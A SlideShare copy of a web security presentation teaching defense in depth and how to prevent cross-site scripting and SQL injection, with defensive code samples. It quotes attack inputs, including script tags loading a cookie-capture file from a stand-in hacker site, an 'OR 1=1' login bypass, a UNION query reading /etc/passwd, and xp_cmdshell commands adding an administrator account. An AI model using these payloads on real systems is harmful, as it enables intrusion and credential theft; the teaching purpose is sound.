SlideShare a Scribd company logo
Web Security Justin Emond
Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
Principle 1: Defense in Depth Use multiple layers to protect against defense failure Hardware firewalls, software firewalls, IPSEC, NAT filtering, load balancers, IP restriction Why? Because shi*t happens! EGO
Example Configuration Windows 2003 Web Server running a internal USCnet web application IIS 6, SQL Server 2005 Security layers: Software/hardware firewall IPSEC rules IIS IP restriction Disable remote connections on SQL server Selected data encryption
Principle 2: Start with the Minimum Start with all options, features, packages, ports, roles, modules turned off or disabled Enable individual items as needed Match project requirements, not perceived ease-of-use
Example: Database Account The account that the application uses against the database server Reduce the objects (tables, views, stored procedures, function) it has access to Reduce the roles (create, update, delete)
Real Example: Alumni Database WIMP platform: Windows, IIS, MySQL, PHP SQL injection vulnerable
Summary Principle 1: Defense in Depth Principle 2: Start with the Minimum
Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
 
Cross Site Scripting (XSS) When a user inserts custom (read: malicious) code into your application that runs on the pages of other uses Any page that outputs user input is theoretically vulnerable
Simple XSS Demo
Just a Few Dangerous Tags <applet> <body> <embed> <frame> <script> <frameset> <html> <object> <iframe> <img> <style> <layer> <link> <ilayer> <meta>
Remote Content is Bad <script language=“javascript” src=“http://myhackingsite.com/cookiecapture.js”> </script> <iframe src=“http://myhackingsite.com/yankeessuck.js”> </iframe>
Core Principles Principle 1: Constrain input Assume input is malicious Validate all input Principle 2: Encode output Escape “<“, “>” and “&”
Validate Datetime: ASP.NET Example Need code sample for convert string to date time
Encoding Output: PHP Sample function cleanString($str) { $str = str_replace(&quot;\&quot;&quot;,&quot;&#34;&quot;,$str); // use PHPs tag stripping function $str = strip_tags($str); // there could still be some malformed HTML, so now we escape the rest $str = str_replace(&quot;<&quot;,&quot;&lt;&quot;,$str); $str = str_replace(&quot;>&quot;,&quot;&gt;&quot;,$str); return $str; }
Encoding Output: C# Code Sample <html> <form id=&quot;form1&quot; runat=&quot;server&quot;> <div> Color: <asp:TextBox ID=&quot;TextBox1&quot; runat=&quot;server&quot;></asp:TextBox><br /> <asp:Button ID=&quot;Button1&quot; runat=&quot;server&quot; Text=&quot;Show color&quot;  OnClick=&quot;Button1_Click&quot; /><br /> <asp:Literal ID=&quot;Literal1&quot; runat=&quot;server&quot;></asp:Literal> </div> </form> </html> <script runat=&quot;server&quot;> private void Page_Load(Object Src, EventArgs e) { protected void Button1_Click(object sender, EventArgs e) { Literal1.Text = @&quot;<span style=&quot;&quot;color:&quot;  + Server.HtmlEncode(TextBox1.Text) + @&quot;&quot;&quot;>Color example</span>&quot;; }  } </Script> (Taken from Channel9.com.)
Side note Even attributes are not safe! Using an attribute of IMG: <IMG SRC=&quot;javascript:alert('hello');&quot;>
General Recommendations Validate your input! Use centrally defined methods to validate data types Escape all “<“, “>” and “&” on output Don’t relay on input sanitation Use a variable string naming convention: $sComment vs. $usComment Indicate if a string variable is safe (s) or unsafe (us) to output
The Importance of Coding Standards Intention of code becomes more predictable 90% of development is  reading  code ; 10% is writing As Joel Splotsky writes, it helps “make wrong code look wrong”
PHP Code Example Bad: $name = $_URL[“name”]; … echo $name; // there is a bug here, but I can’t see it Good: $usName = $_URL[“name”]; $sName = Encode($usName); … Echo $usName; // bug!
Recommendations Continued For AJAX script, use innerTEXT in-place of innerHTML where possible Set page content type Use built-in functions to help strip HTML,  but don’t relay on them
Page Content Type Slide [Need content here.]
ASP.NET Recommendations Enable request validation Convert all input data into .NET data types and catch conversion errors Use  HttpUtility.HtmlEncode  for output Use  HttpUtility.UrlEncode  for output of links Use  System.Text.RegularExpressions.Regex  to validate cookies, query strings, etc.
Quick Steps to Fix Existing Code Step 1: Make a list of all pages that generate output to a HTML page Step 2: Identify which output comes from user input Step 3: Validate all input parameters immediately before use Step 4: Escape all output
Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
SQL Injection When SQL commands can be passed directly from the end-user to the database
Good: Bad: Cool web app Database Cool web app Database
SQL Injection Demo
SQL Login Routine Given: “SELECT COUNT(*) FROM Users WHERE Username = “$username” AND Password=“$Password” For  emond  and  mypass :  SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“mypass” For  emond  and  “ OR 1=1 : “SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“” OR 1=1
Why Dangerous? You can DROP entire tables Wipe millions of records with one command Access to other data Even run commands on the server SQL Server: xp_cmdshell Others
Getting Access to the Server Linux based MySQL ' union select 1, (load_file( ' /etc/passwd ' )),1,1,1; MS SQL Windows Password Creation ';  exec xp_cmdshell  ' net user /add victor Pass123 '-- ';  exec xp_cmdshell ' net localgroup /add administrators victor ' -- Starting Services '; exec master..xp_servicecontrol ' start ', 'FTP Publishing ' -- From “Advanced SQL Injection”
Continued Almost all databases: MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Using most languages: Coldfusion, ASP.NET, ASP, PHP, JSP/Java, Javascript, VB, others… SQL injection is not a database design flaw, it’s a custom application implementation flaw
Core Principle #1 Principle 1: Constrain input Type, length, format and range Use regular expressions Enforce data types
Principle 1: Constrain Input Example: ASP.NET SSN Validation: <%@ language=&quot;C#&quot; %> <form id=&quot;form1&quot; runat=&quot;server&quot;> <asp:TextBox ID=&quot;SSN&quot; runat=&quot;server&quot;/> <asp:RegularExpressionValidator ID=&quot;regexpSSN&quot; runat=&quot;server&quot; ErrorMessage=&quot;Incorrect SSN Number&quot; ControlToValidate=&quot;SSN&quot; ValidationExpression=&quot;^\d{3}-\d{2}-\d{4}$&quot;  /> </form>
Core Principle #2 Control the way you call SQL: Use escape wrapper (OK) Use parameter replacement (BETTER) Use stored procedures (BEST)
Principle 2: Use an Escape Wrapper $query_result = mysql_query ( &quot;select * from users where name = '&quot; .  mysql_real_escape_string($user_name) . &quot;'&quot; ); select * from users where name = ‘sally’s’ becomes select * from users where name = ‘sally’’s’
Principle 2: Use Parameter Replacement using( SqlConnection con = (acquire connection) ) { con.Open(); using( SqlCommand cmd = new SqlCommand(&quot;SELECT * FROM users WHERE name =  @userName &quot;, con) ) { cmd.Parameters.AddWithValue(&quot;@userName&quot;, userName); using( SqlDataReader rdr = cmd.ExecuteReader() ){ ... } }  }
Principle 2: Use Stored Procedures using (SqlConnection connection = new SqlConnection(connectionString)) { DataSet userDataset = new DataSet(); SqlDataAdapter myCommand = new SqlDataAdapter(  &quot; LoginStoredProcedure &quot;, connection); myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; myCommand.SelectCommand.Parameters.Add(&quot;@au_id&quot;, SqlDbType.VarChar, 11); myCommand.SelectCommand.Parameters[&quot;@au_id&quot;].Value = SSN.Text; myCommand.Fill(userDataset); }
Principle 3: Harden the Environment Reduce SQL account permissions Remove unneeded system stored procedures Audit password strength
Other Considerations: Logging Consider creating a routine that logs suspicious database activity Track date/time, IP address, all HTML headers/input parameters Review periodically Consider having the routine create a new support ticket in your bug database
SQL Injection Principles Summary Principle 1: Validate your input! Principle 2: Build your dynamic SQL better Principle 3: Harden the OS
Questions?
Sources http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToPreventCrossSiteScripting http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToProtectFromSqlInjectionInAspNet http://en.wikipedia.org/wiki/Cross_site_scripting http://www.joelonsoftware.com/printerfriendly/articles/Wrong.html “ Advanced SQL Injection” by Victor Chapela, Sm4rt Security Services , Accessed April 20, 2007 (presentation online: http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt) Microsoft certification; security courses http://www.microsoft.com/learning/mcp/mcsd/requirementsdotnet.mspx MSDN Channel 9 http://channel9.msdn.com/wiki/default.aspx/Channel9.HomePage

More Related Content

PPT
Learning Java 4 – Swing, SQL, and Security API
PDF
Intro to Php Security
PPT
Advanced Topics On Sql Injection Protection
PDF
Sql Injection Myths and Fallacies
PDF
Android ui layouts ,cntls,webservices examples codes
KEY
HTML5 Web Messaging
PDF
&lt;img src="../i/r_14.png" />
PPT
Jsp/Servlet
Learning Java 4 – Swing, SQL, and Security API
Intro to Php Security
Advanced Topics On Sql Injection Protection
Sql Injection Myths and Fallacies
Android ui layouts ,cntls,webservices examples codes
HTML5 Web Messaging
&lt;img src="../i/r_14.png" />
Jsp/Servlet

What's hot (20)

PDF
AJAX Transport Layer
PDF
SQL Injection: complete walkthrough (not only) for PHP developers
PPTX
JSON SQL Injection and the Lessons Learned
PDF
watir-webdriver
PPTX
Test driven development (java script & mivascript)
PPTX
How did i steal your database
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
DOCX
การเข ยนโปรแกรมต ดต_อฐานข_อม_ล
PPTX
13 networking, mobile services, and authentication
DOCX
Sql full tutorial
ODP
Security In PHP Applications
PDF
주로사용되는 Xss필터와 이를 공격하는 방법
PDF
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
PDF
SQL Injection Tutorial
PPT
Sanjeev ghai 12
PDF
QA for PHP projects
PDF
Local Authentication par Pierre-Alban Toth
PPTX
SQL Injection Defense in Python
PDF
How to Implement Token Authentication Using the Django REST Framework
PPTX
Playing With (B)Sqli
AJAX Transport Layer
SQL Injection: complete walkthrough (not only) for PHP developers
JSON SQL Injection and the Lessons Learned
watir-webdriver
Test driven development (java script & mivascript)
How did i steal your database
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
การเข ยนโปรแกรมต ดต_อฐานข_อม_ล
13 networking, mobile services, and authentication
Sql full tutorial
Security In PHP Applications
주로사용되는 Xss필터와 이를 공격하는 방법
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
SQL Injection Tutorial
Sanjeev ghai 12
QA for PHP projects
Local Authentication par Pierre-Alban Toth
SQL Injection Defense in Python
How to Implement Token Authentication Using the Django REST Framework
Playing With (B)Sqli
Ad

Similar to General Principles of Web Security (20)

PDF
Coding Security: Code Mania 101
PPTX
Hack through Injections
PPT
Php & Web Security - PHPXperts 2009
PPTX
ASP.NET Web Security
PPT
Security.ppt
PPT
12-security.ppt - PHP and Arabic Language - Index
PDF
Hijacking a Pizza Delivery Robot (using SQL injection)
PPT
D:\Technical\Ppt\Sql Injection
PPSX
Web application security
PPSX
Web Security
PPT
Php My Sql Security 2007
ODP
My app is secure... I think
PPT
Hackers Paradise SQL Injection Attacks
PPT
Security Tech Talk
PPTX
Sql Injection attacks and prevention
ODP
Database security for PHP
PPT
Securing Applications
PPTX
How to Hijack a Pizza Delivery Robot with Injection Flaws
Coding Security: Code Mania 101
Hack through Injections
Php & Web Security - PHPXperts 2009
ASP.NET Web Security
Security.ppt
12-security.ppt - PHP and Arabic Language - Index
Hijacking a Pizza Delivery Robot (using SQL injection)
D:\Technical\Ppt\Sql Injection
Web application security
Web Security
Php My Sql Security 2007
My app is secure... I think
Hackers Paradise SQL Injection Attacks
Security Tech Talk
Sql Injection attacks and prevention
Database security for PHP
Securing Applications
How to Hijack a Pizza Delivery Robot with Injection Flaws
Ad

Recently uploaded (20)

PDF
Spectral efficient network and resource selection model in 5G networks
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Electronic commerce courselecture one. Pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Empathic Computing: Creating Shared Understanding
PDF
Encapsulation theory and applications.pdf
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Approach and Philosophy of On baking technology
PPTX
A Presentation on Artificial Intelligence
PDF
Machine learning based COVID-19 study performance prediction
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Encapsulation_ Review paper, used for researhc scholars
PPTX
Cloud computing and distributed systems.
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
Spectral efficient network and resource selection model in 5G networks
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Mobile App Security Testing_ A Comprehensive Guide.pdf
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Chapter 3 Spatial Domain Image Processing.pdf
Electronic commerce courselecture one. Pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Review of recent advances in non-invasive hemoglobin estimation
Empathic Computing: Creating Shared Understanding
Encapsulation theory and applications.pdf
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Approach and Philosophy of On baking technology
A Presentation on Artificial Intelligence
Machine learning based COVID-19 study performance prediction
NewMind AI Weekly Chronicles - August'25 Week I
Encapsulation_ Review paper, used for researhc scholars
Cloud computing and distributed systems.
Diabetes mellitus diagnosis method based random forest with bat algorithm
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Per capita expenditure prediction using model stacking based on satellite ima...

General Principles of Web Security

  • 2. Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
  • 3. Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
  • 4. Principle 1: Defense in Depth Use multiple layers to protect against defense failure Hardware firewalls, software firewalls, IPSEC, NAT filtering, load balancers, IP restriction Why? Because shi*t happens! EGO
  • 5. Example Configuration Windows 2003 Web Server running a internal USCnet web application IIS 6, SQL Server 2005 Security layers: Software/hardware firewall IPSEC rules IIS IP restriction Disable remote connections on SQL server Selected data encryption
  • 6. Principle 2: Start with the Minimum Start with all options, features, packages, ports, roles, modules turned off or disabled Enable individual items as needed Match project requirements, not perceived ease-of-use
  • 7. Example: Database Account The account that the application uses against the database server Reduce the objects (tables, views, stored procedures, function) it has access to Reduce the roles (create, update, delete)
  • 8. Real Example: Alumni Database WIMP platform: Windows, IIS, MySQL, PHP SQL injection vulnerable
  • 9. Summary Principle 1: Defense in Depth Principle 2: Start with the Minimum
  • 10. Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
  • 11.  
  • 12. Cross Site Scripting (XSS) When a user inserts custom (read: malicious) code into your application that runs on the pages of other uses Any page that outputs user input is theoretically vulnerable
  • 14. Just a Few Dangerous Tags <applet> <body> <embed> <frame> <script> <frameset> <html> <object> <iframe> <img> <style> <layer> <link> <ilayer> <meta>
  • 15. Remote Content is Bad <script language=“javascript” src=“http://myhackingsite.com/cookiecapture.js”> </script> <iframe src=“http://myhackingsite.com/yankeessuck.js”> </iframe>
  • 16. Core Principles Principle 1: Constrain input Assume input is malicious Validate all input Principle 2: Encode output Escape “<“, “>” and “&”
  • 17. Validate Datetime: ASP.NET Example Need code sample for convert string to date time
  • 18. Encoding Output: PHP Sample function cleanString($str) { $str = str_replace(&quot;\&quot;&quot;,&quot;&#34;&quot;,$str); // use PHPs tag stripping function $str = strip_tags($str); // there could still be some malformed HTML, so now we escape the rest $str = str_replace(&quot;<&quot;,&quot;&lt;&quot;,$str); $str = str_replace(&quot;>&quot;,&quot;&gt;&quot;,$str); return $str; }
  • 19. Encoding Output: C# Code Sample <html> <form id=&quot;form1&quot; runat=&quot;server&quot;> <div> Color: <asp:TextBox ID=&quot;TextBox1&quot; runat=&quot;server&quot;></asp:TextBox><br /> <asp:Button ID=&quot;Button1&quot; runat=&quot;server&quot; Text=&quot;Show color&quot; OnClick=&quot;Button1_Click&quot; /><br /> <asp:Literal ID=&quot;Literal1&quot; runat=&quot;server&quot;></asp:Literal> </div> </form> </html> <script runat=&quot;server&quot;> private void Page_Load(Object Src, EventArgs e) { protected void Button1_Click(object sender, EventArgs e) { Literal1.Text = @&quot;<span style=&quot;&quot;color:&quot; + Server.HtmlEncode(TextBox1.Text) + @&quot;&quot;&quot;>Color example</span>&quot;; } } </Script> (Taken from Channel9.com.)
  • 20. Side note Even attributes are not safe! Using an attribute of IMG: <IMG SRC=&quot;javascript:alert('hello');&quot;>
  • 21. General Recommendations Validate your input! Use centrally defined methods to validate data types Escape all “<“, “>” and “&” on output Don’t relay on input sanitation Use a variable string naming convention: $sComment vs. $usComment Indicate if a string variable is safe (s) or unsafe (us) to output
  • 22. The Importance of Coding Standards Intention of code becomes more predictable 90% of development is reading code ; 10% is writing As Joel Splotsky writes, it helps “make wrong code look wrong”
  • 23. PHP Code Example Bad: $name = $_URL[“name”]; … echo $name; // there is a bug here, but I can’t see it Good: $usName = $_URL[“name”]; $sName = Encode($usName); … Echo $usName; // bug!
  • 24. Recommendations Continued For AJAX script, use innerTEXT in-place of innerHTML where possible Set page content type Use built-in functions to help strip HTML, but don’t relay on them
  • 25. Page Content Type Slide [Need content here.]
  • 26. ASP.NET Recommendations Enable request validation Convert all input data into .NET data types and catch conversion errors Use HttpUtility.HtmlEncode for output Use HttpUtility.UrlEncode for output of links Use System.Text.RegularExpressions.Regex to validate cookies, query strings, etc.
  • 27. Quick Steps to Fix Existing Code Step 1: Make a list of all pages that generate output to a HTML page Step 2: Identify which output comes from user input Step 3: Validate all input parameters immediately before use Step 4: Escape all output
  • 28. Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions
  • 29. SQL Injection When SQL commands can be passed directly from the end-user to the database
  • 30. Good: Bad: Cool web app Database Cool web app Database
  • 32. SQL Login Routine Given: “SELECT COUNT(*) FROM Users WHERE Username = “$username” AND Password=“$Password” For emond and mypass : SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“mypass” For emond and “ OR 1=1 : “SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“” OR 1=1
  • 33. Why Dangerous? You can DROP entire tables Wipe millions of records with one command Access to other data Even run commands on the server SQL Server: xp_cmdshell Others
  • 34. Getting Access to the Server Linux based MySQL ' union select 1, (load_file( ' /etc/passwd ' )),1,1,1; MS SQL Windows Password Creation '; exec xp_cmdshell ' net user /add victor Pass123 '-- '; exec xp_cmdshell ' net localgroup /add administrators victor ' -- Starting Services '; exec master..xp_servicecontrol ' start ', 'FTP Publishing ' -- From “Advanced SQL Injection”
  • 35. Continued Almost all databases: MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Using most languages: Coldfusion, ASP.NET, ASP, PHP, JSP/Java, Javascript, VB, others… SQL injection is not a database design flaw, it’s a custom application implementation flaw
  • 36. Core Principle #1 Principle 1: Constrain input Type, length, format and range Use regular expressions Enforce data types
  • 37. Principle 1: Constrain Input Example: ASP.NET SSN Validation: <%@ language=&quot;C#&quot; %> <form id=&quot;form1&quot; runat=&quot;server&quot;> <asp:TextBox ID=&quot;SSN&quot; runat=&quot;server&quot;/> <asp:RegularExpressionValidator ID=&quot;regexpSSN&quot; runat=&quot;server&quot; ErrorMessage=&quot;Incorrect SSN Number&quot; ControlToValidate=&quot;SSN&quot; ValidationExpression=&quot;^\d{3}-\d{2}-\d{4}$&quot; /> </form>
  • 38. Core Principle #2 Control the way you call SQL: Use escape wrapper (OK) Use parameter replacement (BETTER) Use stored procedures (BEST)
  • 39. Principle 2: Use an Escape Wrapper $query_result = mysql_query ( &quot;select * from users where name = '&quot; . mysql_real_escape_string($user_name) . &quot;'&quot; ); select * from users where name = ‘sally’s’ becomes select * from users where name = ‘sally’’s’
  • 40. Principle 2: Use Parameter Replacement using( SqlConnection con = (acquire connection) ) { con.Open(); using( SqlCommand cmd = new SqlCommand(&quot;SELECT * FROM users WHERE name = @userName &quot;, con) ) { cmd.Parameters.AddWithValue(&quot;@userName&quot;, userName); using( SqlDataReader rdr = cmd.ExecuteReader() ){ ... } } }
  • 41. Principle 2: Use Stored Procedures using (SqlConnection connection = new SqlConnection(connectionString)) { DataSet userDataset = new DataSet(); SqlDataAdapter myCommand = new SqlDataAdapter( &quot; LoginStoredProcedure &quot;, connection); myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; myCommand.SelectCommand.Parameters.Add(&quot;@au_id&quot;, SqlDbType.VarChar, 11); myCommand.SelectCommand.Parameters[&quot;@au_id&quot;].Value = SSN.Text; myCommand.Fill(userDataset); }
  • 42. Principle 3: Harden the Environment Reduce SQL account permissions Remove unneeded system stored procedures Audit password strength
  • 43. Other Considerations: Logging Consider creating a routine that logs suspicious database activity Track date/time, IP address, all HTML headers/input parameters Review periodically Consider having the routine create a new support ticket in your bug database
  • 44. SQL Injection Principles Summary Principle 1: Validate your input! Principle 2: Build your dynamic SQL better Principle 3: Harden the OS
  • 46. Sources http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToPreventCrossSiteScripting http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToProtectFromSqlInjectionInAspNet http://en.wikipedia.org/wiki/Cross_site_scripting http://www.joelonsoftware.com/printerfriendly/articles/Wrong.html “ Advanced SQL Injection” by Victor Chapela, Sm4rt Security Services , Accessed April 20, 2007 (presentation online: http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt) Microsoft certification; security courses http://www.microsoft.com/learning/mcp/mcsd/requirementsdotnet.mspx MSDN Channel 9 http://channel9.msdn.com/wiki/default.aspx/Channel9.HomePage